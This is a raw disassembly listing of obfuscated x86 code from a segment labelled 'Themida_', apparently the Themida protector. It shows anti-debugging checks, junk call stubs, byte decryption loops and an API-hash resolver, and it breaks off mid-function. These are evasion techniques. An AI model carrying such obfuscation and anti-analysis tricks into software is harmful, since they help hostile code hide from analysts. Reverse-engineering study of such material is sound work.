		dd 6142675h, 0F01F883h,	1F85h, 0E97AB600h, 0FFh, 6E8h
		dd 0E8F85600h, 0F263C05h, 68Eh,	8C0F00h, 5F000000h, 0FFF1BDE9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0A8203A4Ch, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0EFBD7CC3h
		dd 8609E39Dh, 0BD83F585h, 61430B1h, 83097500h, 141AE1BDh
		dd 19740006h, 0C08B5350h, 7DDB8h, 49858900h, 8D06141Ah
		dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
		dd 7DDB8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h
		dd 51F78158h, 665758D8h, 2A0F781h, 0DD80C08Bh, 217E9C9h
		dd 0D68B0000h, 244858Dh, 0A8B60617h, 16860Fh, 0AE80000h
		dd 24000000h, 0A1CE56CFh, 669F797Eh, 298D3370h,	59061423h
		dd 43C8589h, 0B5890617h, 61410C9h, 4FE9h, 0D5958B00h
		db 5, 14h, 6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57BB06


loc_57C15F:				; CODE XREF: sub_57BB06+F2j
		lea	eax, [ebp+617004Ch]
		xor	edx, 4EB22154h
		inc	eax
		jnp	loc_57C176
		mov	dx, 5A82h


loc_57C176:				; CODE XREF: sub_57BB06+666j
		mov	[ebp+617043Ch],	eax
		push	0
		push	esi
		call	sub_57C187
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_57BB06

; =============== S U B	R O U T	I N E =======================================



sub_57C187	proc near		; CODE XREF: sub_57BB06+679p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_57C187	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		or	al, 0FCh
		mov	cl, 9Ah
		mov	[ebp+61402F9h],	ecx
		sub	[ebp+6142025h],	edx
		push	34h
		lea	eax, [ebp+6140795h]
		push	eax
		push	dword ptr [ebp+617043Ch]
		push	0
		call	dword ptr [ebp+61402C1h]
		cmp	eax, 7
		jz	loc_57C330
		mov	bx, ds
		test	bl, 4
		jnz	loc_57C2D6
		mov	byte ptr [ebp+6141A59h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+6141145h]
		lea	eax, [ebp+6143B13h]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+61704AFh],	eax
		mov	byte ptr [ebp+6141A59h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+6141145h]
		lea	eax, [ebp+6143B13h]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+6141A59h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+6143481h]
		lea	eax, [ebp+6143B13h]
		call	eax
		lea	ebx, [ebp+61704ABh]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+6141A59h], 41h
		push	0DB876498h
		push	dword ptr [ebp+6143481h]
		lea	eax, [ebp+6143B13h]
		call	eax
		mov	[ebp+61704C8h],	eax
		mov	byte ptr [ebp+6141A59h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+6143481h]
		lea	eax, [ebp+6143B13h]
		call	eax
		mov	ebx, [ebp+61704AFh]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+61704B4h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+61704AFh]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+61405F5h]
		mov	dword ptr [ebp+6141199h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+61704AFh]
		push	ebx
		push	0
		push	dword ptr [ebp+61704ABh]
		call	dword ptr [ebp+61704C8h]


loc_57C2D6:				; CODE XREF: Themida_:0057C1CEj
		mov	byte ptr [ebp+6141A59h], 45h
		push	92A5F797h
		push	dword ptr [ebp+6140931h]
		lea	eax, [ebp+6143B13h]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_57C330
		mov	ebx, [ebp+61704AFh]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+61704AFh]
		push	ebx
		push	0
		push	dword ptr [ebp+61704ABh]
		call	dword ptr [ebp+61704C8h]
		push	dword ptr [ebp+61704ABh]
		call	dword ptr [ebp+6143081h]


loc_57C330:				; CODE XREF: Themida_:0057C1C2j
					; Themida_:0057C2FCj
		push	0
		call	dword ptr [ebp+6142EF9h]
		clc


loc_57C339:				; CODE XREF: Themida_:loc_57B218j
		lea	eax, [ebp+6173875h]
		sub	[ebp+6142AC5h],	edi
		push	eax
		mov	ecx, [ebp+614113Dh]
		push	large dword ptr	fs:0
		cld
		mov	large fs:0, esp
		movzx	ecx, cx
		cmp	dword ptr [ebp+6142309h], 0
		jz	loc_57C3AF
		mov	dl, 0BEh
		cmp	dword ptr [ebp+61412CDh], 1
		jnz	loc_57C3AF
		cmp	byte ptr [ebp+61708C8h], 0
		jnz	loc_57C3AF
		mov	edx, [ebp+614033Dh]
		jmp	loc_57C568
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_57C39D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C39D	proc near		; CODE XREF: Themida_:0057C395p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_57C39D	endp

; ---------------------------------------------------------------------------
		ja	short locret_57C418


loc_57C3AF:				; CODE XREF: Themida_:0057C365j
					; Themida_:0057C374j ...
		xor	ebx, ebx
		call	sub_57C3C2
		mov	esp, 0E369634Bh
		cmc
		inc	ecx
; ---------------------------------------------------------------------------
		db 0FEh, 0EFh, 14h
		db 0D0h, 86h

; =============== S U B	R O U T	I N E =======================================



sub_57C3C2	proc near		; CODE XREF: Themida_:0057C3B1p

; FUNCTION CHUNK AT 0057C3EC SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0057C431 SIZE 00000002 BYTES

		mov	[ebp+61402D5h],	edi
		pop	edi
		xor	eax, eax
		jg	loc_57C3EC
		call	sub_57C3E8
		jecxz	short loc_57C431
		add	eax, 0CE2E0ED3h
		imul	esp, [eax+68h],	1BC158Ah
		pop	esi
		insd
		stosb
		lodsb
sub_57C3C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57C3E8	proc near		; CODE XREF: sub_57C3C2+Fp
		sub	dl, 62h
		pop	edx
sub_57C3E8	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_57C3C2


loc_57C3EC:				; CODE XREF: sub_57C3C2+9j
		inc	eax
; END OF FUNCTION CHUNK	FOR sub_57C3C2
; ---------------------------------------------------------------------------
		db 0Fh,	3Fh, 7
		dd 58F640Bh, 0
		dd 0E804C483h, 7, 724ED64Eh, 8B4044E4h,	140C51BDh, 6A5F06h
		dd 3E857h, 5F200000h
; ---------------------------------------------------------------------------

locret_57C418:				; CODE XREF: Themida_:0057C3ADj
		retn
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 14h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		mov	ah, 8Ah
		rol	dword ptr [ebx-7BF00005h], 1
; START	OF FUNCTION CHUNK FOR sub_57C3C2


loc_57C431:				; CODE XREF: sub_57C3C2+14j
		adc	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_57C3C2
; ---------------------------------------------------------------------------
		db 0
		dd 34C28100h, 0E915919Ah, 11Eh,	304D8D29h, 94E90614h, 66000000h
		dd 8D8BFA8Bh, 6140C65h,	0C244C8Bh, 0A481C7h, 0FFFF0000h
		dd 8183FFFFh, 0B8h, 0C3C03304h,	0C245C8Bh, 0E855h, 815D0000h
		dd 173897EDh, 0B8838B06h, 8D000000h, 17398985h,	0B8838906h
		dd 5D000000h, 6AC3C033h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0E6C4C357h,	0EB80364Dh
		dd 6A4725C1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0C426C355h, 9B75B464h,	0D8D8B45h
		dd 8D061421h, 17388D85h, 598D8B06h, 5006142Ah, 12E9h, 7F1D2A00h
		dd 0DC0E11B6h, 0FC3227E7h, 0E5DF1F7Fh, 6479D5EFh, 35FFh
		dd 958B0000h, 6141A89h,	30ADBD09h, 89640614h, 25h, 0EE900h
		dd 98E60000h, 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh,	631B509h
		dd 0AB90614h, 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh
		dd 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h,	564D5868h
		dd 85C70A75h, 6141B0Dh,	1
; ---------------------------------------------------------------------------


loc_57C568:				; CODE XREF: Themida_:0057C38Dj
		pop	large dword ptr	fs:0
		add	esp, 4
		sbb	edi, 15DFAE24h
		mov	[ebp+6140D45h],	edx
		mov	eax, eax
		pusha
		adc	ebx, 51315018h
		jmp	loc_57C59F
; ---------------------------------------------------------------------------
		dd 0FDFEDFD2h, 7D100B82h, 0CB72FFA2h, 0C82CC5DEh
		db 0BDh, 43h, 2Fh
; ---------------------------------------------------------------------------


loc_57C59F:				; CODE XREF: Themida_:0057C587j
		popa
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_57C5B2
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57C5CB


loc_57C5B2:				; CODE XREF: Themida_:0057C5A7j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+61430C1h],	eax
		lea	ebx, [ebp+616B7A1h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C5CB:				; CODE XREF: Themida_:0057C5B0j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57C5EB
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+61430C1h],	eax
		lea	ebx, [ebp+616B442h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C5EB:				; CODE XREF: Themida_:0057C5D2j
		jmp	loc_57C5F6
; ---------------------------------------------------------------------------
		dd 423CC1B0h
		db 2Dh,	0CDh
; ---------------------------------------------------------------------------


loc_57C5F6:				; CODE XREF: Themida_:loc_57C5EBj
		or	dx, 46Dh
		movsx	ecx, cx
		mov	eax, eax
		jmp	loc_57C74C
; ---------------------------------------------------------------------------
		db 4, 2	dup(0)
		dd 392E3100h, 3031h, 6 dup(0)
		db    0
		db 2 dup(0), 45h
aXceptionInform	db 'xception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_57C74C:				; CODE XREF: Themida_:0057C600j
		cmp	dword ptr [ebp+6140D09h], 0
		jz	loc_57C886
		lea	eax, [ebp+616B259h]
		push	eax
		lea	eax, [ebp+616B1C3h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+616B269h]
		lea	eax, [ebp+6173A26h]
		push	eax
		lea	eax, [ebp+6173A30h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616B1D7h]
		push	eax
		push	dword ptr [ebp+616B259h]
		call	dword ptr [ebp+61402EDh]
		lea	eax, [ebp+6173A26h]
		push	eax
		lea	eax, [ebp+6173A34h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616B1E9h]
		push	eax
		push	dword ptr [ebp+616B259h]
		call	dword ptr [ebp+61402EDh]
		lea	eax, [ebp+6173A26h]
		push	eax
		lea	eax, [ebp+6173A40h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616B236h]
		push	eax
		push	dword ptr [ebp+616B259h]
		call	dword ptr [ebp+61402EDh]
		lea	eax, [ebp+6173A26h]
		push	eax
		lea	eax, [ebp+6173A48h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616B254h]
		push	eax
		push	dword ptr [ebp+616B259h]
		call	dword ptr [ebp+61402EDh]
		lea	eax, [ebp+6173A26h]
		push	eax
		lea	eax, [ebp+6173A44h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616B23Dh]
		push	eax
		push	dword ptr [ebp+616B259h]
		call	dword ptr [ebp+61402EDh]
		lea	eax, [ebp+6173A26h]
		push	eax
		lea	eax, [ebp+6173A38h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616B245h]
		push	eax
		push	dword ptr [ebp+616B259h]
		call	dword ptr [ebp+61402EDh]
		lea	eax, [ebp+6173A26h]
		push	eax
		lea	eax, [ebp+6173A3Ch]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616B24Ch]
		push	eax
		push	dword ptr [ebp+616B259h]
		call	dword ptr [ebp+61402EDh]
		push	dword ptr [ebp+616B259h]
		call	dword ptr [ebp+6141CF5h]
		jmp	loc_57C928
; ---------------------------------------------------------------------------


loc_57C886:				; CODE XREF: Themida_:0057C753j
		cmp	dword ptr [ebp+61423E9h], 0
		jz	loc_57C928
		cmp	dword ptr [ebp+61412CDh], 0
		jnz	loc_57C8B1
		mov	edx, [ebp+6142421h]
		add	edx, 1CF8h
		jmp	loc_57C8C0
; ---------------------------------------------------------------------------


loc_57C8B1:				; CODE XREF: Themida_:0057C89Aj
		lea	edx, [ebp+61412F5h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_57C8C0:				; CODE XREF: Themida_:0057C8ACj
		mov	[ebp+61434F1h],	edx
		cmp	dword ptr [ebp+61434F1h], 0
		jz	loc_57C928
		mov	ebx, [ebp+61434F1h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+6173A30h],	eax
		mov	ebx, [ebp+61434F1h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+6173A34h],	eax
		mov	ebx, [ebp+61434F1h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+6173A40h],	eax
		mov	ebx, [ebp+61434F1h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+6173A44h],	eax
		mov	ebx, [ebp+61434F1h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+6173A38h],	eax


loc_57C928:				; CODE XREF: Themida_:0057C881j
					; Themida_:0057C88Dj ...
		cmp	dword ptr [ebp+6140D09h], 0
		jnz	loc_57C942
		cmp	dword ptr [ebp+61423E9h], 0
		jz	loc_57C9AA


loc_57C942:				; CODE XREF: Themida_:0057C92Fj
		push	dword ptr [ebp+6173A48h]
		push	dword ptr [ebp+6173A3Ch]
		push	dword ptr [ebp+6173A38h]
		push	dword ptr [ebp+6173A44h]
		push	dword ptr [ebp+6173A40h]
		push	dword ptr [ebp+6173A34h]
		push	dword ptr [ebp+6173A30h]
		lea	eax, [ebp+6173A2Ah]
		push	eax
		lea	eax, [ebp+6173A62h]
		push	eax
		lea	eax, [ebp+6141DB5h]
		push	eax
		call	dword ptr [ebp+6141509h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+6173A4Ch]
		push	eax
		lea	eax, [ebp+6141DB5h]
		push	eax
		push	0
		call	dword ptr [ebp+61402C1h]
		push	1
		call	dword ptr [ebp+6142EF9h]


loc_57C9AA:				; CODE XREF: Themida_:0057C93Cj
		mov	eax, ecx
		jmp	short loc_57C9C6
; ---------------------------------------------------------------------------
		dw 0F317h
		dd 9B46h, 4 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57C9C6:				; CODE XREF: Themida_:0057C9ACj
		jmp	loc_57CBD6
; ---------------------------------------------------------------------------


loc_57C9CB:				; CODE XREF: Themida_:0057C9E0j
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 6173DF6h
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_57C9CB
; ---------------------------------------------------------------------------


loc_57C9E5:				; CODE XREF: Themida_:0057C9EAj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57C9E5
; ---------------------------------------------------------------------------


loc_57C9EF:				; CODE XREF: Themida_:0057C9F4j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57C9EF
; ---------------------------------------------------------------------------


loc_57C9F9:				; CODE XREF: Themida_:0057C9FEj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57C9F9
; ---------------------------------------------------------------------------


loc_57CA03:				; CODE XREF: Themida_:0057CA08j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57CA03
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 0C3616000h, 0FFFFF8E9h, 2EB58BFFh, 8106173Eh, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 32B53B00h, 0F06173Eh
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 34F1858Bh, 18860614h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 1D95FF08h, 50061419h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 34F1858Bh, 0C60614h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 61434F1h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 61416ADh,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_57CB17
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+61416ADh], 100h


loc_57CB17:				; CODE XREF: Themida_:0057CB08j
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_57CBD6:				; CODE XREF: Themida_:loc_57C9C6j
		mov	ax, ds
		test	al, 4
		jz	loc_57CC0A
		mov	dword ptr [ebp+6173DD3h], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+6173DD7h]
		lea	eax, [ebp+6173DCFh]
		lea	edi, [ebp+6173DD7h]
		mov	[eax], edi
		jmp	loc_57CC2D
; ---------------------------------------------------------------------------


loc_57CC0A:				; CODE XREF: Themida_:0057CBDBj
		lea	eax, [ebp+61412F5h]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+6173DCFh],	eax
		lea	eax, [ebp+61412F5h]
		mov	eax, [eax+3Ch]
		mov	[ebp+6173DD3h],	eax


loc_57CC2D:				; CODE XREF: Themida_:0057CC05j
		lea	eax, [ebp+6173DECh]
		mov	[ebp+614191Dh],	eax
		jmp	loc_57CCC5
; ---------------------------------------------------------------------------


loc_57CC3E:				; DATA XREF: Themida_:0054954Co
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57CC59
; ---------------------------------------------------------------------------


loc_57CC52:				; CODE XREF: Themida_:0057CC5Bj
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_57CC59:				; CODE XREF: Themida_:0057CC4Dj
		cmp	esi, edi
		jb	loc_57CC52
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_57CC66:				; DATA XREF: Themida_:0054BD8Co
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57CC81
; ---------------------------------------------------------------------------


loc_57CC7A:				; CODE XREF: Themida_:0057CC83j
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_57CC81:				; CODE XREF: Themida_:0057CC75j
		cmp	esi, edi
		jb	loc_57CC7A
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_57CC8E:				; DATA XREF: Themida_:00549A6Co
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_57CCB4
; ---------------------------------------------------------------------------


loc_57CCA1:				; CODE XREF: Themida_:0057CCB6j
		lodsb
		cmp	al, 2Dh
		jz	loc_57CCB4
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_57CCB4:				; CODE XREF: Themida_:0057CC9Cj
					; Themida_:0057CCA4j
		or	ecx, ecx
		jnz	loc_57CCA1
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_57CCC5:				; CODE XREF: Themida_:0057CC39j
		lea	eax, [ebp+617405Fh]
		mov	[ebp+614096Dh],	eax
		lea	eax, [ebp+6174087h]
		mov	[ebp+61431ADh],	eax
		lea	eax, [ebp+61740AFh]
		mov	[ebp+6140E8Dh],	eax
		call	near ptr loc_57CCF1+2
		push	dword ptr [eax+24h]


loc_57CCF1:				; CODE XREF: Themida_:0057CCE9p
		cmp	[ebp+66h], ch
		mov	esi, 0F95AB4A7h
		add	edx, 6850h
		adc	si, 0DA7Ah
		sub	eax, eax
		mov	ecx, eax
; START	OF FUNCTION CHUNK FOR sub_57CD4E


loc_57CD08:				; CODE XREF: sub_57CD4E+15j
		push	dword ptr [eax+edx]
		pop	ebx
		sub	ebx, 5D8AD4DBh
		mov	si, 345Bh
		xor	ebx, 35ED3AD0h
		jo	loc_57CD23
		stc


loc_57CD23:				; CODE XREF: sub_57CD4E-32j
		add	ebx, 6F894EE7h
		push	ebx
		add	di, 0EEF8h
		pop	dword ptr [edx+eax]
		jmp	loc_57CD41
; END OF FUNCTION CHUNK	FOR sub_57CD4E
; ---------------------------------------------------------------------------
		db 8Ch
		dd 48581497h, 295AA2A6h
; ---------------------------------------------------------------------------
		pushf


loc_57CD41:				; CODE XREF: sub_57CD4E-1Cj
		push	ebx
		call	sub_57CD4E
		sbb	eax, 4B09DEE7h
; ---------------------------------------------------------------------------
		db 0FEh, 0B1h

; =============== S U B	R O U T	I N E =======================================



sub_57CD4E	proc near		; CODE XREF: Themida_:0057CD42p

; FUNCTION CHUNK AT 0057CD08 SIZE 0000002F BYTES

		jbe	$+6
		pop	ecx
		pop	esi
		sub	eax, 4
		mov	di, 5F0Fh
		cmp	eax, 0FFFF9834h
		jnz	loc_57CD08
		jmp	loc_57CD76
; ---------------------------------------------------------------------------
		dw 7158h
		dd 0C6B93FB5h
; ---------------------------------------------------------------------------
		pop	ebp
		pushf


loc_57CD76:				; CODE XREF: sub_57CD4E+1Bj
		pusha
		mov	si, 16D5h
		mov	eax, eax
		mov	ecx, esi
		mov	edx, ecx
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_57CD93
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57CDAC


loc_57CD93:				; CODE XREF: sub_57CD4E+3Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B73Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_57CDAC:				; CODE XREF: sub_57CD4E+43j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57CDCC
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B429h]
		call	ebx
		pop	ebx
		pop	eax


loc_57CDCC:				; CODE XREF: sub_57CD4E+65j
		mov	dh, 8Ch
		jmp	loc_57CDE7
; ---------------------------------------------------------------------------
		db 0E9h
		dd 7B9C3BC1h, 30A76E31h, 2E3EA4D5h, 0A15BE87Eh
		db 81h,	9Bh, 0F1h
; ---------------------------------------------------------------------------


loc_57CDE7:				; CODE XREF: sub_57CD4E+80j
		mov	edx, esi
		mov	eax, eax
		push	0
		push	ebp
		call	sub_57CDF6
		and	[ebp-3Dh], bl
sub_57CD4E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57CDF6	proc near		; CODE XREF: sub_57CD4E+A0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_57CDF6	endp

; ---------------------------------------------------------------------------
		xchg	eax, edx
		wait
		cmp	dword ptr [ebp+6142309h], 0
		jz	loc_57CE55
		add	dl, 0D7h
		jmp	loc_57D101
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_57CE28
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CE28	proc near		; CODE XREF: Themida_:0057CE20p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_57CE28	endp

; ---------------------------------------------------------------------------
		dd 0AC94416Bh, 0E81ABC78h, 0Dh,	0FD197215h, 8803EF43h
		dd 4355E083h, 0CB8B66C7h
; ---------------------------------------------------------------------------
		pop	ecx


loc_57CE55:				; CODE XREF: Themida_:0057CE0Fj
		mov	edi, ds
		movsx	esi, ax
		or	edx, 730ABB1Dh
		test	di, 4
		jnz	loc_57D101
		push	0
		push	ebp
		call	sub_57CE76
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CE76	proc near		; CODE XREF: Themida_:0057CE6Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_57CE76	endp

; ---------------------------------------------------------------------------
		push	cs
		push	cs
		movsx	edx, si
		cmp	dword ptr [ebp+61414CDh], 0
		jnz	loc_57CEA6
		sbb	edx, 608CD914h
		jmp	loc_57D101
; ---------------------------------------------------------------------------
		movzx	edx, cx


loc_57CEA6:				; CODE XREF: Themida_:0057CE92j
		sub	edi, edi
		push	0
		push	esi
		call	sub_57CEB3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CEB3	proc near		; CODE XREF: Themida_:0057CEABp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_57CEB3	endp

; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------
		mov	edx, 3A0630E6h
		pusha
		jno	loc_57CED2
		mov	ah, 0F6h


loc_57CED2:				; CODE XREF: Themida_:0057CECAj
		adc	esi, 13F7F19Fh
		popa
		lea	ebx, [ebp+61744BBh]
		push	0
		push	ebx
		call	sub_57CEEA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CEEA	proc near		; CODE XREF: Themida_:0057CEE2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_57CEEA	endp

; ---------------------------------------------------------------------------
		dw 7F6Bh
		dd 891F19F4h, 0E2816634h, 665068B7h, 89E8F3B9h,	8F0F241Ch
		dd 0
; ---------------------------------------------------------------------------
		push	large dword ptr	fs:0
		push	0
		push	ebp
		call	sub_57CF26
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CF26	proc near		; CODE XREF: Themida_:0057CF1Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_57CF26	endp

; ---------------------------------------------------------------------------
		aam	20h
		adc	byte ptr [eax],	6Ah
		mov	large fs:0, esp
		push	0
		push	edx
		call	sub_57CF4D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CF4D	proc near		; CODE XREF: Themida_:0057CF45p

